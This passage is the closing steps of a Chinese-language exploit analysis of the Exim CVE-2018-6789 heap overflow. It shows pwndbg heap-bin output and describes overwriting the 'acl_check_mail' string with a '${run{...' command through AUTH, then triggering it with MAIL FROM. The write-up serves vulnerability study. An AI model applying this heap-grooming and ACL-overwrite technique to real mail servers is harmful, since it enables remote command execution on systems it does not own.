all: 0x1a72ca0 —▸ 0x1a64470 —▸ 0x1a43130 —▸ 0x1a3e480 —▸ 0x1a623c0 —▸ 0x1a5d760 —▸ 0x7f57f47fcb78 (main_arena+88)

Step 9

目的在于分配acl_check_mail之前的两个unsortedbin。store_get(0x1f80),会分配一个最小的storeblock。0x1a5d760的大小为0x2050,虽然大于0x2020但并不是lastremainder,所以被扔进了largebin。结束后的ub,acl_check_mail所在的storeblock位于第一块

1
2
3
pwndbg> unsortedbin
unsortedbin
all: 0x1a72ca0 —▸ 0x1a64470 —▸ 0x1a43130 —▸ 0x1a3e480 —▸ 0x7f57f47fcb78 (main_arena+88)

继续通过AUTH分配掉0x1a3e480,并写入cmd

1
2
3
4
5
6
7
8
9
#b64decode的store_get_3返回:
pwndbg> i r rax
rax 0x1a3e4a0 27518112
pwndbg> x/s 0x1a3e4a0+0x80
0x1a3e520: "acl_check_mail"
pwndbg> finish
#finish b64decode
pwndbg> x/s 0x1a3e4a0+0x80
0x1a3e520: "${run{/usr/bin/"...

Step 10

MAIL FROM命令触发acl_check。

1
2
test@ubuntu:/tmp$ ls -al|grep success
-rw------- 1 test test 0 Feb 15 01:13 success

总结

遇到难懂的问题,可以先去源码里找答案,再搞不懂的,就gdb调起来。

参考链接

https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/

http://blog.leanote.com/post/mut3p1g/exim-CVE-2018-6789-%E5%88%86%E6%9E%90-2

https://bbs.pediy.com/thread-225986.htm

https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

https://0x48.pw/2018/03/30/0x42/